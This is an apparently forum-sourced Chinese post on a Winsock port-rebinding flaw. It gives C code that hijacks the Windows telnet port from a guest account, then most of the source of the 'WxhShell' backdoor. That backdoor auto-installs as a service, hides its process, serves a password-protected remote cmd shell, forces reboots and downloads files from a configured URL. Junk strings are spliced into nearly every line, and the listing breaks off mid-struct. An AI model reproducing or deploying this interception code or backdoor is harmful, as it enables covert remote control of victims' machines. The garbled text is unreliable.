在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xZmKKKd0* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\o@b5z]e 9ffRY,1@ saddr.sin_family = AF_INET;
nx,67u/Pb N_r*Ig saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>|7&hj$ zT~ GBC-IX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bah5 f Pwz^{*u] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
VPg`vI$(X *(d^k; 这意味着什么?意味着可以进行如下的攻击:
^B?koU l^ j>R7OGg' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a@,tf'Sr S-yd-MtQp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xMhR;lKY Z#;ieI\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e= "/oo a+mq=K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,lA J{5\# ^O\tN\g;c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
aM.l+DP foE2rV/Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:ykZ7X& =OO_TPEZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kZGhE2np /IV:JVT #include
x)vYc36H #include
,bmTBZV #include
a$t [}D2 #include
_I|wp<R DWORD WINAPI ClientThread(LPVOID lpParam);
rmQGzQnun int main()
/yrR
f;}<O {
&[\rnJ?D WORD wVersionRequested;
WM=kr$/3 DWORD ret;
>o>'@)I?e6 WSADATA wsaData;
-07(#> BOOL val;
B{1+0k SOCKADDR_IN saddr;
6x/ X8zu SOCKADDR_IN scaddr;
9f,HjRP int err;
E4y"$U%. SOCKET s;
#^#)OQq] SOCKET sc;
|Be.r{l int caddsize;
s9`T% pg HANDLE mt;
NK#Dq&W+& DWORD tid;
[EGE| wVersionRequested = MAKEWORD( 2, 2 );
a/)TJv err = WSAStartup( wVersionRequested, &wsaData );
u{p\8v%7 if ( err != 0 ) {
`O}.
.N]g printf("error!WSAStartup failed!\n");
<6L$:vT_ return -1;
N{p2@_fnB }
<O\z`aA'q saddr.sin_family = AF_INET;
p6}jCGJ *%)L?* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vlj|[joXw NKd@Kp`, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7 cIVK}& saddr.sin_port = htons(23);
)s=z i" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,CM$A}7[ {
Tu/JhP/g,` printf("error!socket failed!\n");
B~PF <8h5 return -1;
"F[VqqD }
=C3l:pGMB; val = TRUE;
x-Mp6 //SO_REUSEADDR选项就是可以实现端口重绑定的
6gR=e+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
eEc;w# {
5&9(d_#H printf("error!setsockopt failed!\n");
{8B\-LUR return -1;
J$WIF&*0@ }
A<.Q&4jb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b0t];Gc%b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
H8-,gV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%] #;
~I% Yaa
M-o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;_Rx|~!! {
1@nR.v"$ ret=GetLastError();
p6HZ2Q:a printf("error!bind failed!\n");
?pF;{ return -1;
*!s4#|h }
z~VA#8> listen(s,2);
iPFYG while(1)
BEI/OGp {
#JLDj(a? caddsize = sizeof(scaddr);
GO?-z 0V //接受连接请求
~l}TlRqL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%ri4nKGS if(sc!=INVALID_SOCKET)
BklB3*n {
xd .I5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O5=ggG
if(mt==NULL)
QOF;j#H^ {
+tV(8h4 printf("Thread Creat Failed!\n");
UxS;m4 break;
TM^1{0;r5 }
=AKW(v }
q/B+F%QiMQ CloseHandle(mt);
+p cj8K% }
vSnb>z1 closesocket(s);
%cm5Z^B1" WSACleanup();
X
]a> return 0;
.y\HQ^j }
_E30t( _. DWORD WINAPI ClientThread(LPVOID lpParam)
k]>k1Mi= {
x#YOz7. SOCKET ss = (SOCKET)lpParam;
Czci6Lz SOCKET sc;
VmUM_Q~ unsigned char buf[4096];
f<}!A$wd SOCKADDR_IN saddr;
zEhy0LLm long num;
#VO2O0GR DWORD val;
:,ym)|YV DWORD ret;
~<Lf@yu-{ //如果是隐藏端口应用的话,可以在此处加一些判断
?\O+#U%W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9=kTTF s saddr.sin_family = AF_INET;
\YKh'|04 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}DM2#E`_ saddr.sin_port = htons(23);
=:g^_Hy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9nG] .@H {
$>h#|?*? printf("error!socket failed!\n");
K4F!?# return -1;
~lF lv+,% }
&
9]KkY= val = 100;
I?Zs|A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^6LFho4 {
{tT`It ret = GetLastError();
~NcJLU!au return -1;
NuooA }
a[$.B2U if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g~y9j88? {
G4{qWa/ ret = GetLastError();
2?r8>#_* return -1;
r2](~&i2 }
fM|g8(TK, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
bK].qN {
hv"toszj\ printf("error!socket connect failed!\n");
6>L. )V closesocket(sc);
__V]HcP; closesocket(ss);
fhY[I0;}$ return -1;
3H%HJS }
,|4Ye while(1)
wU ; f {
Xou#38&p> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&Bp\kv //如果是嗅探内容的话,可以再此处进行内容分析和记录
|ber:1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZKR z=( num = recv(ss,buf,4096,0);
(k5DbP[ if(num>0)
-+9x 0-P send(sc,buf,num,0);
wrO>#`Z else if(num==0)
a?Y1G3U' break;
i]53A0l num = recv(sc,buf,4096,0);
vl5n%m H>^ if(num>0)
O7d Fz)$ send(ss,buf,num,0);
OhW=F2OIV else if(num==0)
8@fDn(]w break;
9V66~Bf5 }
hY1|qp closesocket(ss);
`Of wl%G closesocket(sc);
>#:/
GN? return 0 ;
PD}R7[".> }
rq1kj 8%2 %)/f; T6 *3/7wSV: ==========================================================
Hr+-ndH!Pq @gqw]_W 下边附上一个代码,,WXhSHELL
`es($7}P_W @*DIB+K ==========================================================
p-pw*wH0 (v`;ym #include "stdafx.h"
#8z,'~\ .?p}: #include <stdio.h>
2&Byq #include <string.h>
bNROXiX #include <windows.h>
,OKM\N, #include <winsock2.h>
nP3GI:mjL #include <winsvc.h>
|w JZU #include <urlmon.h>
<nvWC/LU }x.)gW #pragma comment (lib, "Ws2_32.lib")
aVP|:OAj #pragma comment (lib, "urlmon.lib")
q`aY.dD=O y@M}T{,/ #define MAX_USER 100 // 最大客户端连接数
3\KII9 #define BUF_SOCK 200 // sock buffer
>-w=7,?'?z #define KEY_BUFF 255 // 输入 buffer
BJ9sR.yX62 RGO:p]t| #define REBOOT 0 // 重启
A&P1M6Of #define SHUTDOWN 1 // 关机
|nEVOy>' s\W #define DEF_PORT 5000 // 监听端口
e9W7ke E* `
(D4gPW #define REG_LEN 16 // 注册表键长度
'%EZoc/U #define SVC_LEN 80 // NT服务名长度
|mk}@OEf LO]6Xd" // 从dll定义API
z/KZ[qH\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
j#e.rNG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#eC;3Kq#- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~RXpz-Ye typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'Y[A'.*}4 p??/r // wxhshell配置信息
B/=q_.1F> struct WSCFG {
x~;EH6$5'/ int ws_port; // 监听端口
:Nz?<3R0\ char ws_passstr[REG_LEN]; // 口令
vSYKe int ws_autoins; // 安装标记, 1=yes 0=no
!/}FPM_ char ws_regname[REG_LEN]; // 注册表键名
Tdwwtbe char ws_svcname[REG_LEN]; // 服务名
B~>cNj< char ws_svcdisp[SVC_LEN]; // 服务显示名
R9l7CJM@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
"F"_G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>Mn>P! int ws_downexe; // 下载执行标记, 1=yes 0=no
|2@en=EYk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v{2DBr
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9"aFS=>< b#g
{`E };
P!y`$Ky& >C3NtGvy // default Wxhshell configuration
atf%7}2 struct WSCFG wscfg={DEF_PORT,
A$~xG( "xuhuanlingzhe",
=u8D!AxT 1,
$W$# CTM "Wxhshell",
ZB[(Tv1 "Wxhshell",
g?~ Tguv "WxhShell Service",
+oy&OKCa "Wrsky Windows CmdShell Service",
|WAD $3 "Please Input Your Password: ",
V+qJrZ,i 1,
g6g$nY@Jm "
http://www.wrsky.com/wxhshell.exe",
lmQ 6X "Wxhshell.exe"
#jZ@l3 };
{KDgK KO|pJ3 // 消息定义模块
"W@XP+POAY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0i\',h}9 char *msg_ws_prompt="\n\r? for help\n\r#>";
h4anr7g{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
EF=dXm/\ char *msg_ws_ext="\n\rExit.";
7"q+"0G char *msg_ws_end="\n\rQuit.";
Q0cY/'>4 char *msg_ws_boot="\n\rReboot...";
x48'1&m char *msg_ws_poff="\n\rShutdown...";
qon{
g char *msg_ws_down="\n\rSave to ";
tKZ&1E C4{\@v}t char *msg_ws_err="\n\rErr!";
ISS\uj63M char *msg_ws_ok="\n\rOK!";
s8_aL)@f |=cCv_y char ExeFile[MAX_PATH];
zBt`L,^ int nUser = 0;
BMNr<P2li HANDLE handles[MAX_USER];
9&%#nN4`8 int OsIsNt;
[8@kx Cq i
u1KRuaF[ SERVICE_STATUS serviceStatus;
GVG!sMmnX SERVICE_STATUS_HANDLE hServiceStatusHandle;
iS1Gb$? *q*HG W5 // 函数声明
U,<]J*b(@4 int Install(void);
C]'g:93L int Uninstall(void);
6<Z*Tvk{C int DownloadFile(char *sURL, SOCKET wsh);
PXosFz~ int Boot(int flag);
k(EMp1[:nN void HideProc(void);
\&iil =H8! int GetOsVer(void);
]jc_=I6) int Wxhshell(SOCKET wsl);
j
u*fyt void TalkWithClient(void *cs);
-\kXH"% int CmdShell(SOCKET sock);
e40udLH~x int StartFromService(void);
@Y
UY9+D& int StartWxhshell(LPSTR lpCmdLine);
,;.B4 EqnpMHF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
't(}Rq@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
'Y!pY]Z &$qF4B* // 数据结构和表定义
W|dpFh` SERVICE_TABLE_ENTRY DispatchTable[] =
jJ
aV {
lwOf)jK:J {wscfg.ws_svcname, NTServiceMain},
s>|Z7[* {NULL, NULL}
9g
Bjxqm };
3;a
R\:p@w Xsd$*F@< // 自我安装
\+k, :8s/ int Install(void)
r<*O {
l"J*)P char svExeFile[MAX_PATH];
6F`qi:a+ HKEY key;
YwL`>? strcpy(svExeFile,ExeFile);
pe()f/Jx( 2{ o0@ // 如果是win9x系统,修改注册表设为自启动
)N(9pnyZH if(!OsIsNt) {
LJGJ|P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pI7Ssvi^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X9fNGM1 RegCloseKey(key);
,+tPRkwA^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|gnAqkW0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u#`+[AC` RegCloseKey(key);
ljPq2v ] return 0;
1^C|k(t }
_>Pk8~m }
NZLXN }
Ly9Q}dL else {
2sKG(^=Z .^i<xY // 如果是NT以上系统,安装为系统服务
:l+_ja&o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
pW\z\o/2 if (schSCManager!=0)
4\M8BRuE {
*URdd,){i SC_HANDLE schService = CreateService
eZg$AOpU (
L[9OVD schSCManager,
iTh
xVD wscfg.ws_svcname,
P##Z[$IJ3 wscfg.ws_svcdisp,
#?9Q{0e SERVICE_ALL_ACCESS,
uBmxh%]C~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
bV@7mmz:X+ SERVICE_AUTO_START,
Wo{K} SERVICE_ERROR_NORMAL,
0G5'Y;8 svExeFile,
:pwa{P NULL,
|;P^clS3 NULL,
tPA:_ NULL,
'61i2\[lZQ NULL,
Qyz>ZPu}sz NULL
u4YM^* S. );
~r<p@k=.#0 if (schService!=0)
q7,^E`5EgU {
14H'!$ CloseServiceHandle(schService);
nbGoJC:U CloseServiceHandle(schSCManager);
c45tmul strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sAi&A9"* strcat(svExeFile,wscfg.ws_svcname);
OX+hZ<y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6lsL^]7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*>k!hq;j RegCloseKey(key);
Q',m{;; return 0;
EX:{EmaT }
gN?0m4[$i }
lEHwZ<je CloseServiceHandle(schSCManager);
>uTPjR[ }
[Tb\woU }
H"+wsM^@ exQ#<x* return 1;
x;j{}
% }
==N` !+ cZ|lCy^ // 自我卸载
[Ct=F| int Uninstall(void)
,/&Z3e {
@`w n<%o$ HKEY key;
/7gi/uh~-( ?Ko|dmX if(!OsIsNt) {
vZ@g@zB4o0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|3;(~a)% RegDeleteValue(key,wscfg.ws_regname);
aG!
*WHt RegCloseKey(key);
Ky kSFB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xc;DdK=1X RegDeleteValue(key,wscfg.ws_regname);
dQ9
ah RegCloseKey(key);
KCUU#t|8V\ return 0;
*|YU]b;W }
s qpGrW. }
!
_{d)J }
\jyjQ,v) else {
;,XyN+2H ;/'|WLI9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=Vb~s+YW if (schSCManager!=0)
,
T\- ;7 {
&>(gt<C$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T%(C-Quh if (schService!=0)
\"x>JW4w {
sTkkM9 if(DeleteService(schService)!=0) {
vXdZmYrC CloseServiceHandle(schService);
X|b2c+I CloseServiceHandle(schSCManager);
?TpUf return 0;
/ p)F>WR }
P~RhUKfd CloseServiceHandle(schService);
aMTFW_w }
^Kqf~yS% CloseServiceHandle(schSCManager);
Au.:OeJm }
eA=WGy@IcN }
YEv
Lhh k_aW return 1;
_KN/@(+F }
{.CMD9F[ [i7YVwG4 // 从指定url下载文件
uWjU OJEe int DownloadFile(char *sURL, SOCKET wsh)
s;Y<BD {
^.goO] HRESULT hr;
Izo! rC char seps[]= "/";
%NajFjBI char *token;
bik*ZC?E char *file;
>(3\kiYS char myURL[MAX_PATH];
cp6WMHLj char myFILE[MAX_PATH];
U
O<:.6" g97]Y1g strcpy(myURL,sURL);
r:&|vP token=strtok(myURL,seps);
xAhxD|4_ while(token!=NULL)
sJZ!sznn {
8TWTbQ file=token;
CQ^3v09N;~ token=strtok(NULL,seps);
^jD1vUL 2: }
E0 l_-- \+nGOvM GetCurrentDirectory(MAX_PATH,myFILE);
3`F) AWzdr strcat(myFILE, "\\");
A\$
>>Z strcat(myFILE, file);
=X(%Svnp send(wsh,myFILE,strlen(myFILE),0);
H&4~Uo.5 send(wsh,"...",3,0);
Rc[ 0aj: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zY=jXa)K~ if(hr==S_OK)
A\QJLWBv^$ return 0;
7:Ztuc] else
?=Db@97 return 1;
O#eZ<hNV 9V
0}d2d }
?&X6:KJQ 0CAa^Q^w // 系统电源模块
qp p/8M int Boot(int flag)
M \D]ml~ {
bRo|uJ:d HANDLE hToken;
%Mn.e a TOKEN_PRIVILEGES tkp;
1n=_y o u\1>gDI )| if(OsIsNt) {
H !)=y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x_MJJ(q8g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
CN& tkp.PrivilegeCount = 1;
^,8R,S\}$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Bh]!WMAw. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'Ot,H_pE if(flag==REBOOT) {
a|_p,_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9YN? return 0;
@jy41eIo }
K#mOSY;} else {
\7v)iG|#G& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Q2|p\rO return 0;
_\8qwDg"#e }
aP-<4uGx }
S*
R,FKg else {
7 sFz?`- if(flag==REBOOT) {
9X}I> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G"dS+,Q return 0;
J
CGC }
Y&.UIosWb else {
{b)~V3rsY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ZcE_f>KV return 0;
Vb|#MNf) }
ZC0-wr\ }
g"_C,XN <skajQQ return 1;
HMGB> }
Shr,#wwM`B FnFb[I@eu // win9x进程隐藏模块
G"SBYU void HideProc(void)
{zLhiUH
a0 {
NjuiD]. R^#@lI~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tt_o$D~kg if ( hKernel != NULL )
SA"p\}"
{
<|B1wa:| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Q \hY7Xq' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
s)J(/ FreeLibrary(hKernel);
p0:kz l4$ }
OO) ~HV4\ B%s7bS return;
v`PY>c6~ }
w'T q3-%V -~{c
u47_ // 获取操作系统版本
23F/\2MSG int GetOsVer(void)
u.XQ& {
`:NaEF?Sj OSVERSIONINFO winfo;
d3Mva,bw< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G3i !PwW GetVersionEx(&winfo);
=+:{P?*} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:mppv8bh return 1;
J:*-gwv9*m else
y046:@v( return 0;
"SxLN
8.: }
K>Fqf
+_ bUwn}_7b // 客户端句柄模块
2}6%qgnT- int Wxhshell(SOCKET wsl)
l |2D/K5 {
V9yl4q-bL SOCKET wsh;
s^Nw%KAv struct sockaddr_in client;
- YqYcer DWORD myID;
rqPo)AL d*8 $>GA while(nUser<MAX_USER)
@$^bMIj@W {
DTRJ/@t int nSize=sizeof(client);
o G*5f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G3P&{.v if(wsh==INVALID_SOCKET) return 1;
6fo3:P*O "I6P=]|b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/*FH:T<V if(handles[nUser]==0)
uA tV". closesocket(wsh);
d[^KL;b?6 else
z4%uN|V nUser++;
ipnV$!z }
yOU(2"8p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2jJmE&)7, s9;#!7ms return 0;
6 gL=u-2 }
Rk<@?(l!6x } p
FQRSOZ // 关闭 socket
.T<=z void CloseIt(SOCKET wsh)
3981ie {
{6;9b-a] closesocket(wsh);
`_I@i]i^ nUser--;
QfM zF ExitThread(0);
]B"'}%>ez }
jdZ~z#`(!: !)"%),>}o // 客户端请求句柄
lf{e[!ML' void TalkWithClient(void *cs)
~)LH='|h\} {
E907fX[R~ Ix@&$!'k SOCKET wsh=(SOCKET)cs;
>zsid: char pwd[SVC_LEN];
/-_=nf}w char cmd[KEY_BUFF];
x5`br.b char chr[1];
|:[tNs*,O int i,j;
+CH},@j g6@Fp7T while (nUser < MAX_USER) {
c .3ZXqpI; ,u }XWV if(wscfg.ws_passstr) {
^H{R+} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p^<yj0Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,[S+T.Cu //ZeroMemory(pwd,KEY_BUFF);
~LJY6A@y i=0;
}VS3L_
;}/ while(i<SVC_LEN) {
oF9
-& Va,<3z%O< // 设置超时
lt^\ fd_set FdRead;
oVA?J%EK struct timeval TimeOut;
N7'OPTKt& FD_ZERO(&FdRead);
Ds#/ FD_SET(wsh,&FdRead);
kIw`P[ TimeOut.tv_sec=8;
E#J';tUQ TimeOut.tv_usec=0;
Wt)Drv{@ { int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;AR{@Fu. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~\ ,w { fbyQjvURnC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KoE8Mp pwd
=chr[0]; T{V/+RM
if(chr[0]==0xd || chr[0]==0xa) { Re:jVJgBz
pwd=0; 6:GTD$Uz.
break; PWh^[Rd)
} 1c3TN#|)W
i++; >_rha~
} 3czeTj
[U}+sTQ
// 如果是非法用户,关闭 socket [Vd[-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /,!qFt
} +4[^!q*
H
s2?T5oWU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )1N 54FNO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'O5'i\uz
ZX ?yL>4
while(1) { D3|oOOoG
QM3,'?ekRH
ZeroMemory(cmd,KEY_BUFF); f|^dD`
5MFxo63
// 自动支持客户端 telnet标准 ,jXM3?>B
j=0; xe7O/',pa=
while(j<KEY_BUFF) { I1[g&9,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A7(hw~+@
cmd[j]=chr[0]; u` oq(?|
if(chr[0]==0xa || chr[0]==0xd) { Fk(JSiU
cmd[j]=0; ?)bS['^1)
break; |mdi]TL
} D9`0Dr}/2
j++; [:xiZ
} 0sI1GhVR
y=In?QN{6*
// 下载文件 QO"oEgB`+Z
if(strstr(cmd,"http://")) { qB)"qFa
send(wsh,msg_ws_down,strlen(msg_ws_down),0); OB[o2G <0
if(DownloadFile(cmd,wsh)) 'n<iU st
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nz9DLAt
else y5Tlpi`g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )p!7#v/@f
} r]OK$Ql
else { h~C.VJWl
'J,T{s1J
switch(cmd[0]) { J_>w 3uY
SIbDj[s
// 帮助 Hm+ODv9
case '?': { D")_;NLE1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lh.`C7]
break; hp{OL< 2M
} ,K:ll4{b
// 安装
#gm)dRKm%
case 'i': { kId
n6 Wx,
if(Install()) A
AHt218
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J8Yd1.Qj
else `%09xMPu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mhW-J6u*
break; )'*5R <#
} 9-]i.y
// 卸载 w8g,a]p
case 'r': { ,f1q)Qf
if(Uninstall()) >~K
qg~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ym/27cRE
else ^z,_+},a3T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `DT3x{}_S
break; 8k(P,o
} upeU52@\
// 显示 wxhshell 所在路径 C7H/N<VAq
case 'p': { DJP2IP
char svExeFile[MAX_PATH]; a_h]?5
:c
strcpy(svExeFile,"\n\r"); [`]4P&
strcat(svExeFile,ExeFile); $9S(_xdI&
send(wsh,svExeFile,strlen(svExeFile),0); Y?ez9o:/#
break; Rq[ M29
} R\XKMF3mN3
// 重启 Cgz D$`~
case 'b': { y^]tahbo
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~G27;Npy
if(Boot(REBOOT)) 8foJ I^3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC_1Ks
else { ;<0LXYL;
closesocket(wsh); 'R&uD~Q
ExitThread(0); Yq(G;mjM
} V138d?Mm
break; Z3!f^vAi&
} bFA!=uvA
// 关机 e@{i
case 'd': { 0oEOre3^%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z&V+#Ws/
if(Boot(SHUTDOWN)) PQ@L+],C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNqH zo
else { [o*7FEM|<
closesocket(wsh); L28*1]\Jh
ExitThread(0); c{[q>@y
pK
} A>{p2?`+!
break; o!4!"O'E
} lY*[tmz)
// 获取shell 9<Kj6t_
case 's': { +:3*
CmdShell(wsh); gIA@l`"
closesocket(wsh); sBV4)xM
ExitThread(0); w&xDOyW]
break; O$IjNx
} m^x6>9,
// 退出 au,t%8AC
case 'x': { N41 R
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .rPn5D Y
CloseIt(wsh); %r4q8-
break; 6i0A9SN
} aTf`BG{kw
// 离开 "T H6o:x
case 'q': { Bo5ZZY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8( btZt
closesocket(wsh); z"*/mP2
WSACleanup(); c$wsH25KH8
exit(1); r[?1
break; h[Gg}N!
} ^[15&T5
} WoxwEi1~0
} 0j C3fT!n
M`6y@<
// 提示信息 h5yzwj:C?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #[#KL/i)$
} m~uOXb
} y*MF&mQ[
f@co<iA
return; %p
X6QRt?
} f-nz{U
Y'e eA 2O
// shell模块句柄 \p%3vRwS%p
int CmdShell(SOCKET sock) )*c>|7G
{ :a:l
j
STARTUPINFO si; #Wu*3&a]yU
ZeroMemory(&si,sizeof(si));
Mkq( T[)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S.!UPkW H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :$+-3_oLMQ
PROCESS_INFORMATION ProcessInfo; @|'5n
char cmdline[]="cmd"; S(:l+JP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t20PP4FWM
return 0; ZIdA\_c
} fb da
LSQz"Ll
l
// 自身启动模式 'EFyIVezg9
int StartFromService(void) } G<rt
{ ?aW^+3i
typedef struct <LRey%{q
{ WMMO5_Mz
DWORD ExitStatus; Y?534l)j
